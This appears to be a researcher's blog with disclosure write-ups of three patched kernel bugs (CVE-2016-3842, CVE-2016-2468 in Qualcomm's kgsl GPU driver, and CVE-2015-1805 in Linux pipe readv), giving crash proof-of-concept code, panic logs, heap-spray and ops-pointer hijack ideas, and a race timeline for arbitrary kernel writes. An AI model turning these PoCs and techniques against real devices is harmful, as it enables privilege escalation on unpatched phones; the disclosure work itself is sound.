Retme的未来道具研究所

世界線の収束には、逆らえない

This issue has been released in the Aug 2016 Nexus public bulletin.

https://source.android.com/security/bulletin/2016-08-01.html    

Seems the issue has been assigned two CVE numbers,but they are fixed by a same patch.

Another CVE is CVE-2016-2504 found by Adam Donenfeld.

I cannot figure out the difference between two CVEs (or maybe they are totally describing the same issue lol), so in this article I just describe the original issue I report to Google.

Technical details:

The Qualcomm MSM GPU driver(a.k.a. kgsl driver) provide an ioctl command IOCTL_KGSL_GPUMEM_ALLOC which allow user application to allocate GPU shared memory .
In this function,driver will create a 'kgsl_mem_entry' to describe a block of allocated memory.

While one thread send IOCTL_KGSL_GPUMEM_ALLOC to kgsl driver,function 'kgsl_mem_entry_attach_process' will assign an id for 'kgsl_mem_entry'  by calling idr_alloc. 
At this moment another thread may send IOCTL_KGSL_GPUMEM_FREE_ID to free the new allocated 'struct kgsl_mem_entry' before 'kgsl_ioctl_gpumem_alloc' return.

So the function 'kgsl_ioctl_gpumem_alloc' will continue use the freed 'kgsl_mem_entry'.

Just as following note written by developer in patch file:

"If we add the mem entry pointer in the process idr and rb tree
too early, other threads can do operations on the entry by
guessing the ID or GPU address before the object gets returned
by the creating operation."

Actually the ID of mem entry is easy to guess, the first entry you allocated in kernel will always be assigned ID=1,
so you can trigger the bug with following code:

PoC:

void kgsl2(){

  int fd = open("/dev/kgsl-3d0",0);

  struct kgsl_gpumem_alloc arg;
  struct kgsl_gpumem_free_id arg_free;
  int ret = 0;

  arg.gpuaddr = 0x1000;
  arg.size = 0x40;
  arg.flags = 0x1000008;

  int pid = fork();
  if(pid){
      while(1){
        arg_free.id = 1;
        ioctl(fd,IOCTL_KGSL_GPUMEM_FREE_ID, &arg_free);
      }
  }

    ret = ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC, &arg);
    if(ret){
      perror("alloc");
    }

}

int main(){
    
    kgsl2();
    return 0;
}

Panic:

<1>[   96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c
<1>[   96.006370] pgd = ffffffc0303dd000
<1>[   96.006379] [0000000c] *pgd=0000000000000000
<0>[   96.006403] Internal error: Oops: 96000005 [#1] PREEMPT SMP
<4>[   96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G        W    3.10.73-g8c0675f #1
<4>[   96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000
<4>[   96.006457] PC is at msm_iommu_map_range+0x8c/0x344
<4>[   96.006468] LR is at msm_iommu_map_range+0x6c/0x344
<4>[   96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145
<4>[   96.006485] sp : ffffffc03cd57b60
<4>[   96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000 
<4>[   96.006507] x27: 0000000000000001 x26: 0000000000000000 
<4>[   96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000 
<4>[   96.006536] x23: 00000000e8000000 x22: ffffffc001afe000 
<4>[   96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0 
<4>[   96.006566] x19: 0000000000100000 x18: ffffffc03cd57968 
<4>[   96.006581] x17: 0000000000000000 x16: 0000000000000000 
<4>[   96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe 
<4>[   96.006610] x13: 0000000000000010 x12: 0101010101010101 
<4>[   96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173 
<4>[   96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246 
<4>[   96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c 
<4>[   96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000 
<4>[   96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118 
<4>[   96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012 
<4>[   96.006713] 
<0>[   96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058)
<4>[   96.006731] Call trace:
<4>[   96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c/0x344
<4>[   96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20/0x34
<4>[   96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac/0x1f8
<4>[   96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94/0x114
<4>[   96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120/0x170
<4>[   96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64/0x144
<4>[   96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220/0x2b8
<4>[   96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c/0x28
<4>[   96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8/0x57c
<4>[   96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c/0x88
<0>[   96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4) 
<4>[   96.006927] ---[ end trace 221b98014bd

Poison overwritten message:

<3>[  181.749195] =============================================================================
<3>[  181.749229] BUG kmalloc-192 (Tainted: G        W   ): Poison overwritten
<3>[  181.749246] -----------------------------------------------------------------------------
<3>[  181.749246] 
<4>[  181.749268] Disabling lock debugging due to kernel taint
<3>[  181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b
<3>[  181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0/0x220 age=0 cpu=2 pid=1678
<3>[  181.749360]     alloc_debug_processing+0xc8/0x16c
<3>[  181.749387]     __slab_alloc.isra.20.constprop.27+0x27c/0x2dc
<3>[  181.749411]     kmem_cache_alloc_trace+0x74/0x1c8
<3>[  181.749434]     _gpumem_alloc.constprop.11+0xdc/0x220
<3>[  181.749459]     kgsl_ioctl_gpumem_alloc+0x40/0x18c
<3>[  181.749485]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749508]     kgsl_ioctl+0x3c/0x50
<3>[  181.749532]     vfs_ioctl+0x60/0x74
<3>[  181.749555]     do_vfs_ioctl+0x98/0x610
<3>[  181.749577]     SyS_ioctl+0x70/0xac
<3>[  181.749603]     cpu_switch_to+0x48/0x4c
<3>[  181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac/0x1a4 age=0 cpu=1 pid=1680
<3>[  181.749658]     free_debug_processing+0x204/0x2ac
<3>[  181.749680]     __slab_free+0x1b8/0x2cc
<3>[  181.749703]     kfree+0x218/0x220
<3>[  181.749726]     kgsl_mem_entry_destroy+0xa8/0x1a4
<3>[  181.749750]     _sharedmem_free_entry+0x214/0x22c
<3>[  181.749774]     kgsl_ioctl_gpumem_free_id+0x158/0x164
<3>[  181.749799]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749822]     kgsl_ioctl+0x3c/0x50
<3>[  181.749844]     vfs_ioctl+0x60/0x74
<3>[  181.749867]     do_vfs_ioctl+0x98/0x610
<3>[  181.749889]     SyS_ioctl+0x70/0xac
<3>[  181.749913]     cpu_switch_to+0x48/0x4c
<3>[  181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x          (null) flags=0x4080
<3>[  181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180

Exploitable?

I say probably yes,but not stable.

I'd like to share some ideas on its exploitation,honestly I didn't finish it yet.
For me, only stable & universal rooting exploit is worth developing,so I didn't pay much time on this issue.

To avoid a kernel panic during exploiting this bug,you have to refill the freed mem_entry in a short time,
at least before the allocator thread reach 'msm_iommu_map_range'.

I tried several ways to spray kernel heap and refill it, the best way I choosed can have only 40% success rate (kernel may crash on failure). That way is spraying heap by seccomp-bpf, mentioned by Project Zero in last year.(http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html)  Note that seccomp-bpf can only be used  to spray in kernel 3.10, in later version of kernel the bpf prog will not be allocated in kmalloc-cache anymore. If the exploit refill the object successfully,controlling PC register is not a big problem.


In mem entry,there is a pointer of ops table named 'kgsl_memdesc_ops'  which can be controlled by attacker:

struct kgsl_mem_entry {
    struct kref refcount;
    struct kgsl_memdesc memdesc;
    void *priv_data;
    struct rb_node node;
    unsigned int id;
    struct kgsl_process_private *priv;
    int pending_free;
};

/* shared memory allocation */
struct kgsl_memdesc {
    struct kgsl_pagetable *pagetable;
    void *hostptr;
    unsigned int hostptr_count;
    unsigned long useraddr; 
    unsigned int gpuaddr;
    phys_addr_t physaddr;
    size_t size;
    unsigned int priv; 
    struct scatterlist *sg;
    unsigned int sglen; 
    struct kgsl_memdesc_ops *ops;   /* ====== the POINTER of ops you can control */ 
    unsigned int flags; 
    struct device *dev;
    struct dma_attrs attrs;
};

struct kgsl_memdesc_ops {
    unsigned int vmflags;
    int (*vmfault)(struct kgsl_memdesc *, struct vm_area_struct *,
               struct vm_fault *);
    void (*free)(struct kgsl_memdesc *memdesc);
    int (*map_kernel)(struct kgsl_memdesc *);
    void (*unmap_kernel)(struct kgsl_memdesc *);
}; 

By overwritting the pointer of kgsl_memdesc_ops and making it point to the first gadget of your ROP/JOP chain,you can finally achieve a kernel code execution.

Patch:

https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

Time line:

Apr 25, 2016 - reported the issue to Google
May 5, 2016 - Google reviewed the issue and set the severity to Critical
Jun 29, 2016 - CVE-2016-3842 assigned
Aug 1, 2016 - released in the Aug 2016 Nexus public bulletin

See also:

Another vulnerability found in kgsl driver,fixed in June 2016.
http://retme.net/index.php/2016/06/12/CVE-2016-2468.html


This issue has been released in the June 2016 Nexus public bulletin.

https://source.android.com/security/bulletin/2016-06-01.html#acknowledgements

Technical Detail:

In _kgsl_sharedmem_page_alloc,if the low 32bit part of 'size' > 0x80000000,variable 'len' will be a negative number.

Then it will not enter the while loop and reach 'sg_mark_end(&memdesc->sg[sglen - 1]);'

Note that variable 'sglen' is zero, so the mark will be set on the address 'memdesc->sg[-1]'. 


static int
_kgsl_sharedmem_page_alloc(struct kgsl_memdesc *memdesc,
            struct kgsl_pagetable *pagetable,
            size_t size)
{
    int ret = 0;
    int len, page_size, sglen_alloc, sglen = 0;
    unsigned int align;

    //...snip...

    len = size; 

    while (len > 0) {
        //...snip...
    }

    memdesc->sglen = sglen;
    memdesc->size = size;
    sg_mark_end(&memdesc->sg[sglen - 1]);







PoC:


void kgsl_poc(){
//kgsl_sharedmem_page_alloc_user
  
  int fd = open("/dev/kgsl-3d0",0);

  struct kgsl_gpumem_alloc_id arg;

  arg.flags = 0;
  arg.size = 0xa18fb010b0c08000;

  ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg);
}
int main(int argc, char *argv[]) {
  kgsl_poc();

  return 0;
}





crash :


<1>[  112.913308] Unable to handle kernel paging request at virtual address ffffff800da40fe0
<1>[  112.913323] pgd = ffffffc0588a8000
<1>[  112.913328] [ffffff800da40fe0] *pgd=0000000000000000
<0>[  112.913339] Internal error: Oops: 96000007 [#1] PREEMPT SMP
<4>[  112.913350] CPU: 2 PID: 5511 Comm: 3636test Tainted: G        W    3.10.73-gda330d0 #1
<4>[  112.913356] task: ffffffc0b0600000 ti: ffffffc0946fc000 task.ti: ffffffc0946fc000
<4>[  112.913370] PC is at kgsl_sharedmem_page_alloc_user+0x1ec/0x268
<4>[  112.913376] LR is at kgsl_sharedmem_page_alloc_user+0xa8/0x268
<4>[  112.913382] pc : [<ffffffc000576b58>] lr : [<ffffffc000576a14>] pstate: a0000145
<4>[  112.913386] sp : ffffffc0946ffc10
<4>[  112.913390] x29: ffffffc0946ffc10 x28: ffffffc000000000 
<4>[  112.913398] x27: ffffffc000c9d000 x26: 0000000000001500 
<4>[  112.913406] x25: ffffffc000c9a000 x24: cccccccccccccccd 
<4>[  112.913415] x23: ffffffc001791bc0 x22: 00000000b0c08000 
<4>[  112.913423] x21: a18fb010b0c08000 x20: ffffffffffffffe0 
<4>[  112.913431] x19: ffffffc093255248 x18: 0000007f9b45c000 
<4>[  112.913439] x17: 0000007f9b309264 x16: ffffffc00030cf48 
<4>[  112.913447] x15: 0000000000000001 x14: 0000007f9b44e040 
<4>[  112.913454] x13: 00000000000000a0 x12: 0000000000000001 
<4>[  112.913462] x11: 0000000000000068 x10: 0140000000000000 
<4>[  112.913471] x9 : 0000000000000000 x8 : ffffff802f059100 
<4>[  112.913478] x7 : 0000000000000000 x6 : 000000000000003f 
<4>[  112.913486] x5 : 0000000000000040 x4 : 0000000000000000 
<4>[  112.913494] x3 : 0000000000000004 x2 : 0000000000000000 
<4>[  112.913502] x1 : ffffff800da41000 x0 : ffffffffffffffe0 
<4>[  112.913509] 
<0>[  112.913514] Process 3636test (pid: 5511, stack limit = 0xffffffc0946fc058)
<4>[  112.913519] Call trace:
<4>[  112.913526] [<ffffffc000576b58>] kgsl_sharedmem_page_alloc_user+0x1ec/0x268
<4>[  112.913535] [<ffffffc000569820>] _gpumem_alloc+0x150/0x1d0
<4>[  112.913543] [<ffffffc00056d424>] kgsl_ioctl_gpumem_alloc_id+0x30/0x180
<4>[  112.913550] [<ffffffc00056f704>] kgsl_ioctl_helper+0x220/0x2b8
<4>[  112.913558] [<ffffffc00056f7b8>] kgsl_ioctl+0x1c/0x28
<4>[  112.913566] [<ffffffc00030ce74>] do_vfs_ioctl+0x4a8/0x57c
<4>[  112.913573] [<ffffffc00030cfa4>] SyS_ioctl+0x5c/0x88
<0>[  112.913581] Code: d503201f 9b210294 f9402261 f9001a75 (f8746820) 

Any application can access device '/dev/kgsl-3d0'.That's why Android Sec Team set it to Critical severity.

patch:

https://android.googlesource.com/kernel/msm/+/fb17eb73640b869ed4920791af1dfd680026fd49%5E%21/#F0


by retme

这是一篇去年的笔记,1805是一个非常强力的提权漏洞. Google已经发了这个漏洞的advisory , 所以我现在可以把这个贴出来



CVE  details

http://www.cvedetails.com/cve-details.php?t=1&cve_id=cve-2015-1805X79X


commit which bring bug in

http://permalink.gmane.org/gmane.linux.kernel.commits.head/78321X82X


fix

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=637b58c2887e5e57850865839cc75f59184b23d1X85X


0x1.综述



pipe.c

pipe_iov_copy_to/from_user在处理readv/writev时,

对当前已经拷贝的buffer长度统计可能与pipe_read/pipe_write不同步,

导致"iovec overrun",构造内存后可造成任意内核地址写



0x2.atomic copy的逻辑


static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
       unsigned long nr_segs, loff_t pos)
{
    ...snip...
    for (;;) {//循环读取内存到iovec,直到读取缓冲区(iovecs)用尽
        int bufs = pipe->nrbufs;
        if (bufs) {

            ...snip...
            if (chars > total_len)
                chars = total_len;

            error = ops->confirm(pipe, buf);
            if (error) {
                if (!ret)
                    ret = error;
                break;
            }
            //检查iovecs中的每一个iov->base是否是一个可写的用户态内存页
            //如果全部可写,那么atomic=1,接下来会直接使用__copy_to_user,不对目标地址再作检查
            atomic = !iov_fault_in_pages_write(iov, chars);
redo:
            addr = ops->map(pipe, buf, atomic);
            //对iovec进行copy,如果atomic=1,直接调用__copy_to_user,否则使用copy_to_user进行地址检查(access_ok)
            //                            !!!注意!!!
            //pipe_iov_copy_to_user会在每次copy完一个iov的时候对iov->len的长度进行更新
            //如果copy到len=X,出错返回,那么已经copy成功的iov->len会被减去;
            //但是读取缓冲区的长度total_len,不会同步减少。
            //进入redo逻辑后,pipe_iov_copy_to_user还会继续copy 长度为total_len的字节
            //那么最终会向后越界copy len=X个长度的iov,aka "iovec overrun"
            error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
            ops->unmap(pipe, buf, addr);

            if (unlikely(error)) {
                /*
                 * Just retry with the slow path if we failed.
                 */
                //如果本来是atomic=1,却copy失败了,那么使用atomic=0的方法重新copy
                //假设total_len=0x1010,第一次copy已经让iovecs总长度用掉了len=0x20
                //那么redo开始的时候total_len还是0x1010,但是iovces的长度已经被减少了0x20
                //所以最终pipe_iov_copy_to_user会越界读取iov,并向其中copy内存
                if (atomic) {
                    atomic = 0;
                    goto redo;
                }
                if (!ret)
                    ret = error;
                break;
            }
            ret += chars;
            buf->offset += chars;
            buf->len -= chars;

            /* Was it a packet buffer? Clean up and exit */
            if (buf->flags & PIPE_BUF_FLAG_PACKET) {
                total_len = chars;
                buf->len = 0;
            }

            if (!buf->len) {
                buf->ops = NULL;
                ops->release(pipe, buf);
                curbuf = (curbuf + 1) & (pipe->buffers - 1);
                pipe->curbuf = curbuf;
                pipe->nrbufs = --bufs;
                do_wakeup = 1;
            }
            //走到这里才对total_len进行更新,也就是只有copy成功才会更新。redo时不会更新
            total_len -= chars;
            if (!total_len)
                break;    /* common path: read succeeded */
        }
        if (bufs)    /* More to do? */
            continue;



0x3. 利用难点,造成redo



redo的逻辑不是那么好进的,如果要进入redo,需要做一个race condition on page table:


static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
       unsigned long nr_segs, loff_t pos)
{
    ...snip...
    for (;;) {
        int bufs = pipe->nrbufs;
        if (bufs) {

            ...snip...
            if (chars > total_len)
                chars = total_len;

            error = ops->confirm(pipe, buf);
            if (error) {
                if (!ret)
                    ret = error;
                break;
            }
            //loop_time = 1时,iov_fault_in_pages_write 这里必须执行成功
            //也就是所有的iov->base指向的内存页有效
            atomic = !iov_fault_in_pages_write(iov, chars);
redo:
            addr = ops->map(pipe, buf, atomic);

            //loop_time = 1时,pipe_iov_copy_to_user 这里必须中途执行失败
            //也就是其中某一个iov->base指向的内存页无效。
            //那么进入redo

            //redo,也就是loop_time = 2时,pipe_iov_copy_to_user必须成功,
            //需要让无效的iov->base重新生效
            //                        !!!注意!!!
            //不能在loop_time = 2的时候触发overrun,
            //否则overrun会使用copy_to_user而不是__copy_to_user,那么还是无法写内核地址
            //解决办法是让total_len 稍稍大于 buf->len(0x1000)
            //这样loop_time = 2的时候能保证把一个合法的buf->len读完。
            //并且会因为buf->len被读完,tolen_len却还有剩余,而进入第三个loop
            //然后在loop_time = 3的时候走atomic=1的路线,进行越界使用iov
            error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
            ops->unmap(pipe, buf, addr);

            if (unlikely(error)) {
                /*
                 * Just retry with the slow path if we failed.
                 */
                if (atomic) {
                    atomic = 0;
                    goto redo;
                }
                if (!ret)
                    ret = error;
                break;
            }
            ret += chars;
            buf->offset += chars;
            buf->len -= chars;

            ...snip...

            total_len -= chars;
            if (!total_len)
                break;
        }
        if (bufs)    /* More to do? */ //进入loop_time=3
            continue;

假设readv使用iovec[512] = 8k,正好占据一个kmalloc-8192
iovec[0].len=0
iovec[1].len=0x20
iovec[2→511].len=8

race时间轴如下
                        thread1                     thread2
                                                map(iovec[0→511].base)

loop_time = 1   iov_fault_in_pages_write
                        return 1
                                                unmap(iovec[2].base)

                    pipe_iov_copy_to_user
                       __copy_from_user
                       return -EFAULT
                         goto redo
                                                map(iovec[2].base)

loop_time = 2(redo)
                    pipe_iov_copy_to_user
                      copy_from_user
                         return 0

loop_time = 3(More to do)
                    pipe_iov_copy_to_user
                       __copy_to_user
                           OVER_RUN

如果我加上每次loop iovec长度的标记,时间轴如下:
             total_len = 0x1010  chars=0x1000
                     iovec[0].len=0
                    iovec[1].len=0x20
                    iovec[2→511].len=8

                        thread1                     thread2
                                                map(iovec[0→511].base)

loop_time = 1       iov_fault_in_pages_write
                       return 1
            total_len = 0x1010   chars=0x1000
                     iovec[0].len=0
                    iovec[1].len=0x20
                    iovec[2→511].len=8
                                                unmap(iovec[2].base)

                    pipe_iov_copy_to_user
                       __copy_from_user
                       return -EFAULT
                         goto redo

            total_len = 0x1010   chars=0xff0
                     iovec[0].len=0
                    iovec[1].len=0
                    iovec[2→511].len=8
                                                map(iovec[2].base)

loop_time = 2(redo)
                    pipe_iov_copy_to_user
                      copy_from_user
                         return 0

            total_len = 0x1010 - 0xff0 =0x20 chars=0xff0 - 0xff0=0
                     iovec[0].len=0
                    iovec[1].len=0
                    iovec[2→511].len=0

loop_time = 3(More to do)
            total_len =0x20 chars=min(buf->len,total_len)=0x20
                 iovec[513] aka    overun_iov[0]
                     overun_iov[0].len=0
                     overun_iov[1].len=8
                     overun_iov[1].base=KERNEL_ADDR
                     overun_iov[2->511].len=4096
                    pipe_iov_copy_to_user
                       __copy_to_user
                           OVER_RUN



overun_iov[1].base就是要写的内核地址,overun_iov就是8k内存页的下一页。

iov是在kmallc-8192的slab里面的,可以用sendmmsg去喷overun_iov



以上